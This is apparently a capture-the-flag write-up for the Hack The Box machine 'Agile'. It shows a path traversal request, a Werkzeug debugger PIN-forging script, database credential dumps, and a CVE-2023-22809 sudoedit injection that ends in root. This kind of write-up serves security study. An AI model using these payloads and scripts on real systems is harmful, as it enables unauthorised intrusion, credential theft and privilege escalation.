Information Gathering

1) Found open ports

```
┌──(vigneswar㉿VigneswarPC)-[~/temp]
└─$ tcpscan 10.10.11.203
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 16:37 IST
Nmap scan report for 10.10.11.203
Host is up (0.19s latency).
Not shown: 64774 closed tcp ports (reset), 759 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.82 seconds
```

2) Checked the website



3) Found a debug console



Vulnerability Assessment

1) Found Path traversal vulnerability



2) Found the source code

Request

```
GET /download?fn=/../app/app/superpass/app.py HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Cookie: remember_token=9|9fbcf2eee4e8e48ff3d35859df03948ab6eb9f02181696489b9cd98e1dc782025a9412e6e63996fca1e386fa8eb782af36b6bb0d66cb5fffd65f80c46811f557; session=.eJwljsGKwzAMRH_F6FyW2I4kK1-x96UUx5aaQHZb4vRU-u_rOtMwzLxhnnCxLbdFGOw_T3BHF_jV1vJV4QTfm-ambrtd3frnjpvLpfTQHcva3L13vuD8Op_6yK5tgenYH9rdWmECy2WOwiP7WijqMAtXlJAkcZFkozFiDQP6KOgDuklKYOxFKXo1oUwpV4zksRNIkXnIQjWoVDLjaIEHb2hsWnCWMHp-M5pLkMpo_f7lOXT_vBF4_QOQAOVg.ZvqJoQ.nMf7v2oPZgeHlGBRcNjrF1RxdtO
Connection: keep-alive
```

Response

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 30 Sep 2024 11:29:01 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 1966
Connection: keep-alive
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)


def register_blueprints():
from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views

app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)


def setup_db():
db_session.global_init(app.config['SQL_URI'])


def configure_login_manager():
login_manager = LoginManager()
login_manager.login_view = 'account.login_get'
login_manager.init_app(app)
```

3) We need the pin to use debugger

Debugger PIN

The debug console is protected by a PIN. This is a security helper to make it less likely for the debugger to be exploited if you forget to disable it when deploying to production. The PIN based authentication is enabled by default.

The first time a console is opened, a dialog will prompt for a PIN that is printed to the command line. The PIN is generated in a stable way that is specific to the project. An explicit PIN can be provided through the environment variable `WERKZEUG_DEBUG_PIN`. This can be set to a number and will become the PIN. This variable can also be set to the value `off` to disable the PIN check entirely.

If an incorrect PIN is entered too many times the server needs to be restarted.

This feature is not meant to entirely secure the debugger. It is intended to make it harder for an attacker to exploit the debugger. Never enable the debugger in production.

4) Found a way to leak the pin while having path traversal
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
https://www.bengrewell.com/cracking-flask-werkzeug-console-pin/

```
import hashlib
from itertools import chain

"""
Module Name         Application Name
----------------------------------------
flask.app       - wsgi_app
werkzeug.debug  - DebuggedApplication
flask.app       - Flask
"""
for modname in ['flask.app', 'werkzeug.debug', 'flask.app']:
```

```
    for appname in ['wsgi_app', 'DebuggedApplication', 'Flask']:

        probably_public_bits = [
            'www-data',  # username
            modname,  # modname
            appname,  # getattr(app, '__name__', getattr(app.__class__,
'__name__'))
            '/app/venv/lib/python3.10/site-packages/flask/app.py'  #
getattr(mod, '__file__', None),
        ]

        private_bits = [
            '345049936697',  # str(uuid.getnode()),  /sys/class/net/ens33/
address
            'ed5b159560f54721827644bc9b220d00superpass.service'  #
get_machine_id(), /etc/machine-id
        ]

        # h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/
en/2.2.x/changes/#version-2-0-0
        h = hashlib.sha1()
        for bit in chain(probably_public_bits, private_bits):
            if not bit:
                continue
            if isinstance(bit, str):
                bit = bit.encode('utf-8')
            h.update(bit)
        h.update(b'cookiesalt')
        # h.update(b'shittysalt')

        cookie_name = '__wzd' + h.hexdigest()[:20]

        num = None
        if num is None:
            h.update(b'pinsalt')
            num = ('%09d' % int(h.hexdigest(), 16))[:9]

        rv = None
        if rv is None:
            for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                    rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                  for x in range(0, len(num), group_size))
                    break
            else:
                rv = num

        print(rv)
```

PIN: 103-068-783

Exploitation

1) Got reverse shell from debug console



2) Found database credentials

```
(venv) www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}(venv) www-data@agile:/app$
(venv) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 89
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

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affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
3 rows in set (0.00 sec)

mysql> use superpass;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------------+
| Tables_in_superpass |
+----------------------+
| passwords            |
| users                |
+----------------------+
```

3) Found creds in db

```
mysql> select * from passwords;
+----+---------------------+---------------------+---------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url           | username | password             | user_id |
+----+---------------------+---------------------+---------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+---------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

mysql>
```

```
mysql> select * from users;
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | hashed_password                                                                                                                                            |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
|  1 | 0xdf     | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
|  2 | corum    | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
|  9 | hacker   | $6$rounds=200000$F2YTWAxRJCNkAPXu$IHEFbwa4cmYPhhV.kJywMZ4X5pgJu8xEFPOLSEneeyWRM83WR7vmD7L2XLKml.ZPFhAljawMaouVS7KnjRlU21 |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)

mysql>
```

4) Logged in a corum

```
┌──(vigneswar㉿VigneswarPC)-[~]
└─$ ssh corum@superpass.htb
The authenticity of host 'superpass.htb (10.10.11.203)' can't be established.
ED25519 key fingerprint is SHA256:kxY+4fRgoCr8yE48B5Lb02EqxyyUN9uk6i/ZIH4H1pc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'superpass.htb' (ED25519) to the list of known hosts.
corum@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Mar  8 15:25:35 2023 from 10.10.14.47
corum@agile:~$
```

Privilege Escalation

1) Found internal ports

```
corum@agile:~$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:56937         0.0.0.0:*               LISTEN      -
```

5db7caa1d13cc37c9fc2

2) There is a headless testing driver

```
corum@agile:/app/app-testing/tests/functional$ cat test_site_interactively.py
import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait

with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')


@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()
```

3) Checked the debugger



4) Found creds



edwards:d07867c6267dcb5df0af

5) Found sudo permissions on edwards



6) Found a vulnerable sudo version

```
edwards@agile:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
edwards@agile:~$
```

https://github.com/n3m1sys/CVE-2023-22809-sudoedit-privesc/blob/main/exploit.sh

This gives as arbitrary file edit as the user that we can sudo

7) Found a file sourced on login

```
edwards@agile:~$ cat /etc/bash.bashrc | head -n 5
# System-wide .bashrc file for interactive bash(1) shells.

# To enable the settings / commands in this file for login shells as well,
# this file has to be sourced in /etc/profile.

edwards@agile:~$
```

edwards@agile: ~

```
edwards@agile:~$ cat /etc/bash.bashrc | tail -n 2
# all users will want the env associated with this application
source /app/venv/bin/activate
edwards@agile:~$
```

8) Edited the file using the vulnerability

```
edwards@agile:~$ ls /app/venv/bin/activate -al
-rw-rw-r-- 1 root dev_admin 1976 Sep 30 13:21 /app/venv/bin/activate
edwards@agile:~$ cat /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi
```

```
edwards@agile:~$ EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json
sudoedit: --: Permission denied
2 files to edit
sudoedit: /app/config_test.json unchanged
```

9) Got root access

```
edwards@agile:~$ ls /bin/bash
/bin/bash
edwards@agile:~$ /bin/bash -p
edwards@agile:~# cat /root/root.txt
ea72b3e00117571ca1ac580077ebbe8d
edwards@agile:~#
```